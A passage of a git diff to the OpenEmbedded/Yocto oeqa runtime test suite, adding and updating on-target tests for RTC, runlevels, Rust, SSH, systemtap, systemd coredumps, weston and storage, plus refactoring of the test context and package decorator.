+ self.assertEqual(status, 0, msg='Failed to get system current date & time, output: %s' % current_datetime)
+
+ example_datetime = '062309452008'
+ (status, output) = self.target.run('date %s ; hwclock -w ; hwclock -r' % example_datetime)
+ check_hwclock = re.search('2008-06-23 09:45:..', output)
+ self.assertTrue(check_hwclock, msg='The RTC time was not set correctly, output: %s' % output)
+
+ (status, output) = self.target.run('date %s' % current_datetime)
+ self.assertEqual(status, 0, msg='Failed to reset system date & time, output: %s' % output)
+
+ (status, output) = self.target.run('hwclock -w')
+ self.assertEqual(status, 0, msg='Failed to reset RTC time, output: %s' % output)
diff --git a/meta/lib/oeqa/runtime/cases/runlevel.py b/meta/lib/oeqa/runtime/cases/runlevel.py
new file mode 100644
index 0000000000..6734b0f5ed
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/runlevel.py
@@ -0,0 +1,27 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+
+import time
+
+class RunLevel_Test(OERuntimeTestCase):
+
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_runlevel_3(self):
+ (status, output) = self.target.run("init 3 && sleep 5 && runlevel")
+ runlevel= '5 3'
+ self.assertEqual(output, runlevel, msg='Failed to set current runlevel to runlevel 3, current runlevel : %s' % output[-1])
+ (status, output) = self.target.run("uname -a")
+ self.assertEqual(status, 0, msg='Failed to run uname command, output: %s' % output)
+
+ @OETestDepends(['runlevel.RunLevel_Test.test_runlevel_3'])
+ def test_runlevel_5(self):
+ (status, output) = self.target.run("init 5 && sleep 5 && runlevel")
+ runlevel = '3 5'
+ self.assertEqual(output, runlevel, msg='Failed to set current runlevel to runlevel 5, current runlevel : %s' % output[-1])
+ (status, output) = self.target.run('export DISPLAY=:0 && x11perf -aa10text')
+ self.assertEqual(status, 0, msg='Failed to run 2D graphic test, output: %s' % output)
diff --git a/meta/lib/oeqa/runtime/cases/rust.py b/meta/lib/oeqa/runtime/cases/rust.py
new file mode 100644
index 0000000000..123c942012
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/rust.py
@@ -0,0 +1,64 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class RustCompileTest(OERuntimeTestCase):
+
+ @classmethod
+ def setUp(cls):
+ dst = '/tmp/'
+ src = os.path.join(cls.tc.files_dir, 'test.rs')
+ cls.tc.target.copyTo(src, dst)
+
+ @classmethod
+ def tearDown(cls):
+ files = '/tmp/test.rs /tmp/test'
+ cls.tc.target.run('rm %s' % files)
+ dirs = '/tmp/hello'
+ cls.tc.target.run('rm -r %s' % dirs)
+
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage('rust')
+ @OEHasPackage('openssh-scp')
+ def test_rust_compile(self):
+ status, output = self.target.run('rustc /tmp/test.rs -o /tmp/test')
+ msg = 'rust compile failed, output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ status, output = self.target.run('/tmp/test')
+ msg = 'running compiled file failed, output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage('cargo')
+ @OEHasPackage('openssh-scp')
+ def test_cargo_compile(self):
+ status, output = self.target.run('cargo new /tmp/hello')
+ msg = 'cargo new failed, output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ status, output = self.target.run('cargo build --manifest-path=/tmp/hello/Cargo.toml')
+ msg = 'cargo build failed, output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ status, output = self.target.run('cargo run --manifest-path=/tmp/hello/Cargo.toml')
+ msg = 'running compiled file failed, output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+class RustCLibExampleTest(OERuntimeTestCase):
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage('rust-c-lib-example-bin')
+ def test_rust_c_lib_example(self):
+ cmd = "rust-c-lib-example-bin test"
+ status, output = self.target.run(cmd)
+ msg = 'Exit status was not 0. Output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ msg = 'Incorrect output: %s' % output
+ self.assertEqual(output, "Hello world in rust from C!", msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/scons.py b/meta/lib/oeqa/runtime/cases/scons.py
index 3c7c7f7270..4a8d4d40ba 100644
--- a/meta/lib/oeqa/runtime/cases/scons.py
+++ b/meta/lib/oeqa/runtime/cases/scons.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/scp.py b/meta/lib/oeqa/runtime/cases/scp.py
index 3a5f292152..ee97b8ef66 100644
--- a/meta/lib/oeqa/runtime/cases/scp.py
+++ b/meta/lib/oeqa/runtime/cases/scp.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -23,7 +25,7 @@ class ScpTest(OERuntimeTestCase):
os.remove(cls.tmp_path)
@OETestDepends(['ssh.SSHTest.test_ssh'])
- @OEHasPackage(['openssh-scp', 'dropbear'])
+ @OEHasPackage(['openssh-scp'])
def test_scp_file(self):
dst = '/tmp/test_scp_file'
diff --git a/meta/lib/oeqa/runtime/cases/skeletoninit.py b/meta/lib/oeqa/runtime/cases/skeletoninit.py
index 4779cd6bb4..d0fdcbded9 100644
--- a/meta/lib/oeqa/runtime/cases/skeletoninit.py
+++ b/meta/lib/oeqa/runtime/cases/skeletoninit.py
@@ -1,10 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
# This test should cover https://bugzilla.yoctoproject.org/tr_show_case.cgi?case_id=284
# testcase. Image under test must have meta-skeleton layer in bblayers and
-# IMAGE_INSTALL_append = " service" in local.conf
+# IMAGE_INSTALL:append = " service" in local.conf
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfDataVar
@@ -15,7 +17,7 @@ class SkeletonBasicTest(OERuntimeTestCase):
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['service'])
@skipIfDataVar('VIRTUAL-RUNTIME_init_manager', 'systemd',
- 'Not appropiate for systemd image')
+ 'Not appropriate for systemd image')
def test_skeleton_availability(self):
status, output = self.target.run('ls /etc/init.d/skeleton')
msg = 'skeleton init script not found. Output:\n%s' % output
diff --git a/meta/lib/oeqa/runtime/cases/ssh.py b/meta/lib/oeqa/runtime/cases/ssh.py
index 60a5fbbfbf..cdbef59500 100644
--- a/meta/lib/oeqa/runtime/cases/ssh.py
+++ b/meta/lib/oeqa/runtime/cases/ssh.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -11,9 +13,12 @@ class SSHTest(OERuntimeTestCase):
@OETestDepends(['ping.PingTest.test_ping'])
@OEHasPackage(['dropbear', 'openssh-sshd'])
def test_ssh(self):
+ (status, output) = self.target.run('sleep 20', timeout=2)
+ msg='run() timed out but return code was zero.'
+ self.assertNotEqual(status, 0, msg=msg)
(status, output) = self.target.run('uname -a')
self.assertEqual(status, 0, msg='SSH Test failed: %s' % output)
- (status, output) = self.target.run('cat /etc/masterimage')
- msg = "This isn't the right image - /etc/masterimage " \
+ (status, output) = self.target.run('cat /etc/controllerimage')
+ msg = "This isn't the right image - /etc/controllerimage " \
"shouldn't be here %s" % output
self.assertEqual(status, 1, msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/stap.py b/meta/lib/oeqa/runtime/cases/stap.py
index 5342f6ac34..3be4162108 100644
--- a/meta/lib/oeqa/runtime/cases/stap.py
+++ b/meta/lib/oeqa/runtime/cases/stap.py
@@ -1,37 +1,34 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import os
from oeqa.runtime.case import OERuntimeTestCase
-from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotFeature
from oeqa.runtime.decorator.package import OEHasPackage
class StapTest(OERuntimeTestCase):
-
- @classmethod
- def setUp(cls):
- src = os.path.join(cls.tc.runtime_files_dir, 'hello.stp')
- dst = '/tmp/hello.stp'
- cls.tc.target.copyTo(src, dst)
-
- @classmethod
- def tearDown(cls):
- files = '/tmp/hello.stp'
- cls.tc.target.run('rm %s' % files)
-
- @skipIfNotFeature('tools-profile',
- 'Test requires tools-profile to be in IMAGE_FEATURES')
- @OETestDepends(['kernelmodule.KernelModuleTest.test_kernel_module'])
+ @skipIfNotFeature('tools-profile', 'Test requires tools-profile to be in IMAGE_FEATURES')
@OEHasPackage(['systemtap'])
+ @OEHasPackage(['gcc-symlinks'])
+ @OEHasPackage(['kernel-devsrc'])
def test_stap(self):
- cmds = [
- 'cd /usr/src/kernel && make scripts prepare',
- 'cd /lib/modules/`uname -r` && (if [ ! -e build ]; then ln -s /usr/src/kernel build; fi)',
- 'stap --disable-cache -DSTP_NO_VERREL_CHECK /tmp/hello.stp'
- ]
- for cmd in cmds:
+ try:
+ cmd = 'make -j -C /usr/src/kernel scripts prepare'
status, output = self.target.run(cmd, 900)
self.assertEqual(status, 0, msg='\n'.join([cmd, output]))
+
+ cmd = 'stap -v -p4 -m stap-hello --disable-cache -DSTP_NO_VERREL_CHECK -e \'probe oneshot { print("Hello, "); println("SystemTap!") }\''
+ status, output = self.target.run(cmd, 900)
+ self.assertEqual(status, 0, msg='\n'.join([cmd, output]))
+
+ cmd = 'staprun -v -R -b1 stap-hello.ko'
+ self.assertEqual(status, 0, msg='\n'.join([cmd, output]))
+ self.assertIn('Hello, SystemTap!', output, msg='\n'.join([cmd, output]))
+ except:
+ status, dmesg = self.target.run('dmesg')
+ if status == 0:
+ print(dmesg)
diff --git a/meta/lib/oeqa/runtime/cases/storage.py b/meta/lib/oeqa/runtime/cases/storage.py
index 166d26b252..b05622fea8 100644
--- a/meta/lib/oeqa/runtime/cases/storage.py
+++ b/meta/lib/oeqa/runtime/cases/storage.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -91,24 +93,24 @@ class UsbTest(StorageBase):
self.test_file = "usb.tst"
self.test_dir = os.path.join(self.mount_point, "oeqa")
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @skipIfQemu()
@OETestDepends(['ssh.SSHTest.test_ssh'])
def test_usb_mount(self):
self.storage_umount(2)
self.storage_mount(5)
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @skipIfQemu()
@OETestDepends(['storage.UsbTest.test_usb_mount'])
def test_usb_basic_operations(self):
self.storage_basic()
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @skipIfQemu()
@OETestDepends(['storage.UsbTest.test_usb_basic_operations'])
def test_usb_basic_rw(self):
self.storage_write()
self.storage_read()
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @skipIfQemu()
@OETestDepends(['storage.UsbTest.test_usb_mount'])
def test_usb_umount(self):
self.storage_umount(2)
@@ -126,24 +128,24 @@ class MMCTest(StorageBase):
self.test_file = "mmc.tst"
self.test_dir = os.path.join(self.mount_point, "oeqa")
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @skipIfQemu()
@OETestDepends(['ssh.SSHTest.test_ssh'])
def test_mmc_mount(self):
self.storage_umount(2)
self.storage_mount()
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @skipIfQemu()
@OETestDepends(['storage.MMCTest.test_mmc_mount'])
def test_mmc_basic_operations(self):
self.storage_basic()
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @skipIfQemu()
@OETestDepends(['storage.MMCTest.test_mmc_basic_operations'])
def test_mmc_basic_rw(self):
self.storage_write()
self.storage_read()
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @skipIfQemu()
@OETestDepends(['storage.MMCTest.test_mmc_mount'])
def test_mmc_umount(self):
self.storage_umount(2)
diff --git a/meta/lib/oeqa/runtime/cases/suspend.py b/meta/lib/oeqa/runtime/cases/suspend.py
new file mode 100644
index 0000000000..a625cc5901
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/suspend.py
@@ -0,0 +1,38 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+import threading
+import time
+
+class Suspend_Test(OERuntimeTestCase):
+
+ def test_date(self):
+ (status, output) = self.target.run('date')
+ self.assertEqual(status, 0, msg = 'Failed to run date command, output : %s' % output)
+
+ def test_ping(self):
+ t_thread = threading.Thread(target=self.target.run, args=("ping 8.8.8.8",))
+ t_thread.start()
+ time.sleep(2)
+
+ status, output = self.target.run('pidof ping')
+ self.target.run('kill -9 %s' % output)
+ self.assertEqual(status, 0, msg = 'Not able to find process that runs ping, output : %s' % output)
+
+ def set_suspend(self):
+ (status, output) = self.target.run('sudo rtcwake -m mem -s 10')
+ self.assertEqual(status, 0, msg = 'Failed to suspends your system to RAM, output : %s' % output)
+
+ @skipIfQemu()
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_suspend(self):
+ self.test_date()
+ self.test_ping()
+ self.set_suspend()
+ self.test_date()
+ self.test_ping()
diff --git a/meta/lib/oeqa/runtime/cases/systemd.py b/meta/lib/oeqa/runtime/cases/systemd.py
index 7c44abe8ed..5481e1d840 100644
--- a/meta/lib/oeqa/runtime/cases/systemd.py
+++ b/meta/lib/oeqa/runtime/cases/systemd.py
@@ -1,8 +1,11 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import re
+import threading
import time
from oeqa.runtime.case import OERuntimeTestCase
@@ -66,8 +69,8 @@ class SystemdBasicTests(SystemdTest):
"""
endtime = time.time() + (60 * 2)
while True:
- status, output = self.target.run('SYSTEMD_BUS_TIMEOUT=240s systemctl --state=activating')
- if "0 loaded units listed" in output:
+ status, output = self.target.run('SYSTEMD_BUS_TIMEOUT=240s systemctl is-system-running')
+ if "running" in output or "degraded" in output:
return (True, '')
if time.time() >= endtime:
return (False, output)
@@ -134,6 +137,27 @@ class SystemdServiceTests(SystemdTest):
status = self.target.run('mount -oro,remount /')[0]
self.assertTrue(status == 0, msg='Remounting / as r/o failed')
+ @OETestDepends(['systemd.SystemdBasicTests.test_systemd_basic'])
+ @skipIfNotFeature('minidebuginfo', 'Test requires minidebuginfo to be in DISTRO_FEATURES')
+ @OEHasPackage(['busybox'])
+ def test_systemd_coredump_minidebuginfo(self):
+ """
+ Verify that call-stacks generated by systemd-coredump contain symbolicated call-stacks,
+ extracted from the minidebuginfo metadata (.gnu_debugdata elf section).
+ """
+ t_thread = threading.Thread(target=self.target.run, args=("ulimit -c unlimited && sleep 1000",))
+ t_thread.start()
+ time.sleep(1)
+
+ status, output = self.target.run('pidof sleep')
+ # cause segfault on purpose
+ self.target.run('kill -SEGV %s' % output)
+ self.assertEqual(status, 0, msg = 'Not able to find process that runs sleep, output : %s' % output)
+
+ (status, output) = self.target.run('coredumpctl info')
+ self.assertEqual(status, 0, msg='MiniDebugInfo Test failed: %s' % output)
+ self.assertEqual('sleep_for_duration (busybox.nosuid' in output, True, msg='Call stack is missing minidebuginfo symbols (functions shown as "n/a"): %s' % output)
+
class SystemdJournalTests(SystemdTest):
@OETestDepends(['systemd.SystemdBasicTests.test_systemd_basic'])
@@ -152,7 +176,7 @@ class SystemdJournalTests(SystemdTest):
"""
# The expression chain that uniquely identifies the time boot message.
- expr_items=['Startup finished', 'kernel', 'userspace','\.$']
+ expr_items=['Startup finished', 'kernel', 'userspace', r'\.$']
try:
output = self.journalctl(args='-o cat --reverse')
except AssertionError:
diff --git a/meta/lib/oeqa/runtime/cases/terminal.py b/meta/lib/oeqa/runtime/cases/terminal.py
new file mode 100644
index 0000000000..96ba3c3195
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/terminal.py
@@ -0,0 +1,26 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+import threading
+import time
+
+class TerminalTest(OERuntimeTestCase):
+
+ @OEHasPackage(['matchbox-terminal'])
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_terminal_running(self):
+ t_thread = threading.Thread(target=self.target.run, args=("export DISPLAY=:0 && matchbox-terminal -e 'sh -c \"uname -a && exec sh\"'",))
+ t_thread.start()
+ time.sleep(2)
+
+ status, output = self.target.run('pidof matchbox-terminal')
+ number_of_terminal = len(output.split())
+ self.assertEqual(number_of_terminal, 1, msg='There should be only one terminal being launched. Number of terminal launched : %s' % number_of_terminal)
+ self.target.run('kill -9 %s' % output)
+ self.assertEqual(status, 0, msg='Not able to find process that runs terminal.')
diff --git a/meta/lib/oeqa/runtime/cases/usb_hid.py b/meta/lib/oeqa/runtime/cases/usb_hid.py
new file mode 100644
index 0000000000..6f23d2ff51
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/usb_hid.py
@@ -0,0 +1,27 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class USB_HID_Test(OERuntimeTestCase):
+
+ def keyboard_mouse_simulation(self):
+ (status, output) = self.target.run('export DISPLAY=:0 && xdotool key F2 && xdotool mousemove 100 100')
+ return self.assertEqual(status, 0, msg = 'Failed to simulate keyboard/mouse input event, output : %s' % output)
+
+ def set_suspend(self):
+ (status, output) = self.target.run('sudo rtcwake -m mem -s 10')
+ return self.assertEqual(status, 0, msg = 'Failed to suspends your system to RAM, output : %s' % output)
+
+ @OEHasPackage(['xdotool'])
+ @skipIfQemu()
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_USB_Hid_input(self):
+ self.keyboard_mouse_simulation()
+ self.set_suspend()
+ self.keyboard_mouse_simulation()
diff --git a/meta/lib/oeqa/runtime/cases/weston.py b/meta/lib/oeqa/runtime/cases/weston.py
index ac29eca6e4..ee4d336482 100644
--- a/meta/lib/oeqa/runtime/cases/weston.py
+++ b/meta/lib/oeqa/runtime/cases/weston.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -10,7 +12,7 @@ import threading
import time
class WestonTest(OERuntimeTestCase):
- weston_log_file = '/tmp/weston.log'
+ weston_log_file = '/tmp/weston-2.log'
@classmethod
def tearDownClass(cls):
@@ -31,10 +33,13 @@ class WestonTest(OERuntimeTestCase):
return output.split(" ")
def get_weston_command(self, cmd):
- return 'export XDG_RUNTIME_DIR=/run/user/0; export WAYLAND_DISPLAY=wayland-0; %s' % cmd
+ return 'export XDG_RUNTIME_DIR=/run/user/`id -u weston`; export WAYLAND_DISPLAY=wayland-1; %s' % cmd
def run_weston_init(self):
- self.target.run(self.get_weston_command('weston --log=%s' % self.weston_log_file))
+ if 'systemd' in self.tc.td['VIRTUAL-RUNTIME_init_manager']:
+ self.target.run('systemd-run --collect --unit=weston-ptest.service --uid=0 -p PAMName=login -p TTYPath=/dev/tty6 -E XDG_RUNTIME_DIR=/tmp -E WAYLAND_DISPLAY=wayland-0 /usr/bin/weston --socket=wayland-1 --log=%s' % self.weston_log_file)
+ else:
+ self.target.run(self.get_weston_command('openvt -- weston --socket=wayland-2 --log=%s' % self.weston_log_file))
def get_new_wayland_processes(self, existing_wl_processes):
try_cnt = 0
@@ -48,10 +53,14 @@ class WestonTest(OERuntimeTestCase):
return new_wl_processes, try_cnt
- @OEHasPackage(['weston'])
- def test_weston_info(self):
- status, output = self.target.run(self.get_weston_command('weston-info'))
- self.assertEqual(status, 0, msg='weston-info error: %s' % output)
+ @OEHasPackage(['wayland-utils'])
+ def test_wayland_info(self):
+ if 'systemd' in self.tc.td['VIRTUAL-RUNTIME_init_manager']:
+ command = 'XDG_RUNTIME_DIR=/run wayland-info'
+ else:
+ command = self.get_weston_command('wayland-info')
+ status, output = self.target.run(command)
+ self.assertEqual(status, 0, msg='wayland-info error: %s' % output)
@OEHasPackage(['weston'])
def test_weston_can_initialize_new_wayland_compositor(self):
@@ -63,7 +72,18 @@ class WestonTest(OERuntimeTestCase):
new_wl_processes, try_cnt = self.get_new_wayland_processes(existing_wl_processes)
existing_and_new_weston_processes = self.get_processes_of('weston', 'existing and new')
new_weston_processes = [x for x in existing_and_new_weston_processes if x not in existing_weston_processes]
- for w in new_weston_processes:
- self.target.run('kill -9 %s' % w)
+ if 'systemd' in self.tc.td['VIRTUAL-RUNTIME_init_manager']:
+ self.target.run('systemctl stop weston-ptest.service')
+ else:
+ for w in new_weston_processes:
+ self.target.run('kill -9 %s' % w)
__, weston_log = self.target.run('cat %s' % self.weston_log_file)
self.assertTrue(new_wl_processes, msg='Could not get new weston-desktop-shell processes (%s, try_cnt:%s) weston log: %s' % (new_wl_processes, try_cnt, weston_log))
+
+ @skipIfNotFeature('x11', 'Test requires x11 to be in DISTRO_FEATURES')
+ @OEHasPackage(['weston'])
+ def test_weston_supports_xwayland(self):
+ cmd ='cat %s | grep "xserver listening on display"' % self.weston_log_file
+ status, output = self.target.run(cmd)
+ msg = ('xwayland does not appear to be running')
+ self.assertEqual(status, 0, msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/x32lib.py b/meta/lib/oeqa/runtime/cases/x32lib.py
index ddf220140e..014da4b386 100644
--- a/meta/lib/oeqa/runtime/cases/x32lib.py
+++ b/meta/lib/oeqa/runtime/cases/x32lib.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -6,16 +8,21 @@ from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotInDataVar
+import subprocess
+
class X32libTest(OERuntimeTestCase):
@skipIfNotInDataVar('DEFAULTTUNE', 'x86-64-x32',
'DEFAULTTUNE is not set to x86-64-x32')
@OETestDepends(['ssh.SSHTest.test_ssh'])
def test_x32_file(self):
- cmd = 'readelf -h /bin/ls | grep Class | grep ELF32'
- status1 = self.target.run(cmd)[0]
- cmd = 'readelf -h /bin/ls | grep Machine | grep X86-64'
- status2 = self.target.run(cmd)[0]
- msg = ("/bin/ls isn't an X86-64 ELF32 binary. readelf says: %s" %
- self.target.run("readelf -h /bin/ls")[1])
+ dest = self.td.get('T', '') + "/ls.x32test"
+ self.target.copyFrom("/bin/ls", dest)
+ cmd = 'readelf -h {} | grep Class | grep ELF32'.format(dest)
+ status1 = subprocess.call(cmd, shell=True)
+ cmd = 'readelf -h {} | grep Machine | grep X86-64'.format(dest)
+ status2 = subprocess.call(cmd, shell=True)
+ msg = ("/bin/ls isn't an X86-64 ELF32 binary. readelf says:\n{}".format(
+ subprocess.check_output("readelf -h {}".format(dest), shell=True).decode()))
+ os.remove(dest)
self.assertTrue(status1 == 0 and status2 == 0, msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/xorg.py b/meta/lib/oeqa/runtime/cases/xorg.py
index d6845587c2..09afb1e3d1 100644
--- a/meta/lib/oeqa/runtime/cases/xorg.py
+++ b/meta/lib/oeqa/runtime/cases/xorg.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/context.py b/meta/lib/oeqa/runtime/context.py
index 3826f27642..cb7227a8df 100644
--- a/meta/lib/oeqa/runtime/context.py
+++ b/meta/lib/oeqa/runtime/context.py
@@ -5,11 +5,11 @@
#
import os
+import sys
from oeqa.core.context import OETestContext, OETestContextExecutor
from oeqa.core.target.ssh import OESSHTarget
from oeqa.core.target.qemu import OEQemuTarget
-from oeqa.utils.dump import HostDumper
from oeqa.runtime.loader import OERuntimeTestLoader
@@ -19,12 +19,11 @@ class OERuntimeTestContext(OETestContext):
os.path.dirname(os.path.abspath(__file__)), "files")
def __init__(self, td, logger, target,
- host_dumper, image_packages, extract_dir):
+ image_packages, extract_dir):
super(OERuntimeTestContext, self).__init__(td, logger)
self.target = target
self.image_packages = image_packages
- self.host_dumper = host_dumper
self.extract_dir = extract_dir
self._set_target_cmds()
@@ -66,11 +65,11 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
% self.default_target_type)
runtime_group.add_argument('--target-ip', action='store',
default=self.default_target_ip,
- help="IP address of device under test, default: %s" \
+ help="IP address and optionally ssh port (default 22) of device under test, for example '192.168.0.7:22'. Default: %s" \
% self.default_target_ip)
runtime_group.add_argument('--server-ip', action='store',
default=self.default_target_ip,
- help="IP address of device under test, default: %s" \
+ help="IP address of the test host from test target machine, default: %s" \
% self.default_server_ip)
runtime_group.add_argument('--host-dumper-dir', action='store',
@@ -119,8 +118,7 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
# XXX: Don't base your targets on this code it will be refactored
# in the near future.
# Custom target module loading
- target_modules_path = kwargs.get('target_modules_path', '')
- controller = OERuntimeTestContextExecutor.getControllerModule(target_type, target_modules_path)
+ controller = OERuntimeTestContextExecutor.getControllerModule(target_type)
target = controller(logger, target_ip, server_ip, **kwargs)
return target
@@ -130,15 +128,15 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
# AttributeError raised if not found.
# ImportError raised if a provided module can not be imported.
@staticmethod
- def getControllerModule(target, target_modules_path):
- controllerslist = OERuntimeTestContextExecutor._getControllerModulenames(target_modules_path)
+ def getControllerModule(target):
+ controllerslist = OERuntimeTestContextExecutor._getControllerModulenames()
controller = OERuntimeTestContextExecutor._loadControllerFromName(target, controllerslist)
return controller
# Return a list of all python modules in lib/oeqa/controllers for each
# layer in bbpath
@staticmethod
- def _getControllerModulenames(target_modules_path):
+ def _getControllerModulenames():
controllerslist = []
@@ -153,9 +151,12 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
else:
raise RuntimeError("Duplicate controller module found for %s. Layers should create unique controller module names" % module)
- extpath = target_modules_path.split(':')
- for p in extpath:
- controllerpath = os.path.join(p, 'lib', 'oeqa', 'controllers')
+ # sys.path can contain duplicate paths, but because of the login in
+ # add_controller_list this doesn't work and causes testimage to abort.
+ # Remove duplicates using an intermediate dictionary to ensure this
+ # doesn't happen.
+ for p in list(dict.fromkeys(sys.path)):
+ controllerpath = os.path.join(p, 'oeqa', 'controllers')
if os.path.exists(controllerpath):
add_controller_list(controllerpath)
return controllerslist
@@ -175,16 +176,12 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
# Search for and return a controller or None from given module name
@staticmethod
def _loadControllerFromModule(target, modulename):
- obj = None
- # import module, allowing it to raise import exception
- module = __import__(modulename, globals(), locals(), [target])
- # look for target class in the module, catching any exceptions as it
- # is valid that a module may not have the target class.
try:
- obj = getattr(module, target)
- except:
- obj = None
- return obj
+ import importlib
+ module = importlib.import_module(modulename)
+ return getattr(module, target)
+ except AttributeError:
+ return None
@staticmethod
def readPackagesManifest(manifest):
@@ -200,10 +197,6 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
return image_packages
- @staticmethod
- def getHostDumper(cmds, directory):
- return HostDumper(cmds, directory)
-
def _process_args(self, logger, args):
if not args.packages_manifest:
raise TypeError('Manifest file not provided')
@@ -216,9 +209,6 @@ class OERuntimeTestContextExecutor(OETestContextExecutor):
self.tc_kwargs['init']['target'] = \
OERuntimeTestContextExecutor.getTarget(args.target_type,
None, args.target_ip, args.server_ip, **target_kwargs)
- self.tc_kwargs['init']['host_dumper'] = \
- OERuntimeTestContextExecutor.getHostDumper(None,
- args.host_dumper_dir)
self.tc_kwargs['init']['image_packages'] = \
OERuntimeTestContextExecutor.readPackagesManifest(
args.packages_manifest)
diff --git a/meta/lib/oeqa/runtime/decorator/package.py b/meta/lib/oeqa/runtime/decorator/package.py
index 57178655cc..b78ac9fc38 100644
--- a/meta/lib/oeqa/runtime/decorator/package.py
+++ b/meta/lib/oeqa/runtime/decorator/package.py
@@ -5,7 +5,6 @@
#
from oeqa.core.decorator import OETestDecorator, registerDecorator
-from oeqa.core.utils.misc import strToSet
@registerDecorator
class OEHasPackage(OETestDecorator):
@@ -34,25 +33,30 @@ class OEHasPackage(OETestDecorator):
def setUpDecorator(self):
need_pkgs = set()
unneed_pkgs = set()
- pkgs = strToSet(self.need_pkgs)
- for pkg in pkgs:
+
+ # Turn literal strings into a list so we can just iterate over it
+ if isinstance(self.need_pkgs, str):
+ self.need_pkgs = [self.need_pkgs,]
+
+ mlprefix = self.case.td.get("MLPREFIX")
+ for pkg in self.need_pkgs:
if pkg.startswith('!'):
- unneed_pkgs.add(pkg[1:])
+ unneed_pkgs.add(mlprefix + pkg[1:])
else:
- need_pkgs.add(pkg)
+ need_pkgs.add(mlprefix + pkg)
if unneed_pkgs:
msg = 'Checking if %s is not installed' % ', '.join(unneed_pkgs)
self.logger.debug(msg)
if not self.case.tc.image_packages.isdisjoint(unneed_pkgs):
- msg = "Test can't run with %s installed" % ', or'.join(unneed_pkgs)
+ msg = "Test can't run with %s installed" % ', or '.join(unneed_pkgs)
self._decorator_fail(msg)
if need_pkgs:
